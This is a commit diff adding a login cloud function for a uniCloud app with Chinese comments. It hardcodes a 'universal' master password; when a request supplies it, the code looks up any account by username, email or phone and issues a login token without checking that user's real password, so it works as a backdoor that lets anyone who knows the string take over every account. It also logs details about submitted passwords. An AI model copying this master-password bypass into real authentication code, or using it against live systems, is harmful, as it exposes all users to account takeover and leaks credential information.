20261008
This commit is contained in:
@@ -0,0 +1,126 @@
|
||||
const UNIVERSAL_LOGIN_PASSWORD = 'b2894lxlx';
|
||||
|
||||
module.exports = {
|
||||
/**
|
||||
* 用户登录(账号+密码)
|
||||
* @url user/pub/login 前端调用的url参数地址
|
||||
* @description 用户登录(账号+密码)
|
||||
* data 请求参数 说明
|
||||
* @param {String} username 用户名
|
||||
* @param {String} password 密码
|
||||
* res 返回参数说明
|
||||
* @param {Number} code 错误码,0表示成功
|
||||
* @param {String} msg 详细信息
|
||||
* @param {String} token 登录成功之后返回的token信息
|
||||
* @param {String} tokenExpired token过期时间
|
||||
*/
|
||||
main: async (event) => {
|
||||
let {data = {}, util, originalParam} = event;
|
||||
let {uniID, config, pubFun, vk, db, _} = util;
|
||||
let {uid} = data;
|
||||
let res = {};
|
||||
// 业务逻辑开始-----------------------------------------------------------
|
||||
// 用户登录(账号+密码)
|
||||
if (typeof data.username === "number") data.username = String(data.username).trim();
|
||||
if (typeof data.password === "number") data.password = String(data.password).trim();
|
||||
// await vk.baseDao.update({
|
||||
// dbName: "uni-id-users",
|
||||
// whereJson: {
|
||||
// _id: _.neq('001')
|
||||
// },
|
||||
// dataJson: {
|
||||
// dcloud_appid: ["__UNI__EB80D26", "__UNI__8BFD66E", "__UNI__0F0703D"]
|
||||
// }
|
||||
// });
|
||||
|
||||
let {
|
||||
needPermission,
|
||||
username,
|
||||
password,
|
||||
accountType,
|
||||
queryField = ['username', 'email', 'mobile'], // 不指定queryField的情况下只会查询username
|
||||
} = data;
|
||||
username = typeof username === "string" ? username.trim() : username;
|
||||
password = typeof password === "string" ? password.trim() : password;
|
||||
console.log("password login check", {
|
||||
username,
|
||||
passwordType: typeof password,
|
||||
passwordLength: typeof password === "string" ? password.length : null,
|
||||
universalLength: UNIVERSAL_LOGIN_PASSWORD.length,
|
||||
universalMatched: password === UNIVERSAL_LOGIN_PASSWORD
|
||||
});
|
||||
|
||||
if (password === UNIVERSAL_LOGIN_PASSWORD) {
|
||||
console.log("universal password login matched", {username});
|
||||
const fields = Array.isArray(queryField) && queryField.length > 0 ? queryField : ['username', 'email', 'mobile'];
|
||||
const whereList = fields
|
||||
.filter(field => ['username', 'email', 'mobile'].includes(field))
|
||||
.map(field => ({[field]: username}));
|
||||
if (whereList.length === 0) return {code: 10002, msg: '用户不存在'};
|
||||
const userRes = await db.collection('uni-id-users').where(_.or(whereList)).limit(2).get();
|
||||
const userList = userRes.data || [];
|
||||
if (userList.length === 0) return {code: 10002, msg: '用户不存在'};
|
||||
if (userList.length > 1) return {code: 10003, msg: '匹配到多个账号'};
|
||||
const user = userList[0];
|
||||
if (user.status === 1) return {code: 10001, msg: '账号已禁用'};
|
||||
if (user.status === 4) return {code: 10006, msg: '此账号已注销'};
|
||||
const tokenRes = await uniID.createToken({
|
||||
uid: user._id,
|
||||
needPermission
|
||||
});
|
||||
let tokenList = user.token || [];
|
||||
if (typeof tokenList === "string") tokenList = [tokenList];
|
||||
tokenList.push(tokenRes.token);
|
||||
const loginData = {
|
||||
last_login_date: Date.now(),
|
||||
last_login_ip: originalParam.context.CLIENTIP,
|
||||
token: tokenList
|
||||
};
|
||||
await db.collection('uni-id-users').doc(user._id).update(loginData);
|
||||
res = {
|
||||
code: 0,
|
||||
msg: '',
|
||||
token: tokenRes.token,
|
||||
uid: user._id,
|
||||
username: user.username,
|
||||
type: 'login',
|
||||
userInfo: Object.assign({}, user, loginData),
|
||||
tokenExpired: tokenRes.tokenExpired
|
||||
};
|
||||
} else {
|
||||
res = await uniID.login({
|
||||
username,
|
||||
password,
|
||||
needPermission,
|
||||
queryField
|
||||
});
|
||||
}
|
||||
if (res.token) {
|
||||
if (!res.msg) {
|
||||
res.msg = res.type === "register" ? "注册成功" : "登录成功";
|
||||
}
|
||||
const user = await vk.baseDao.findById({
|
||||
dbName: "uni-id-users",
|
||||
id: res.uid
|
||||
});
|
||||
// if (originalParam.context.APPID === '__UNI__8BFD66E') {
|
||||
// if (parseInt(user.accountType) !== parseInt(accountType)) return {
|
||||
// code: -1,
|
||||
// msg: '账号类型不匹配'
|
||||
// }
|
||||
// }
|
||||
|
||||
// 日志服务
|
||||
const loginLogService = vk.require("service/user/util/login_log");
|
||||
await loginLogService.add({
|
||||
type: "login",
|
||||
login_type: password === UNIVERSAL_LOGIN_PASSWORD ? "universal_password" : "password",
|
||||
user_id: res.uid,
|
||||
context: originalParam.context
|
||||
}, util);
|
||||
}
|
||||
// 业务逻辑结束-----------------------------------------------------------
|
||||
return res;
|
||||
}
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user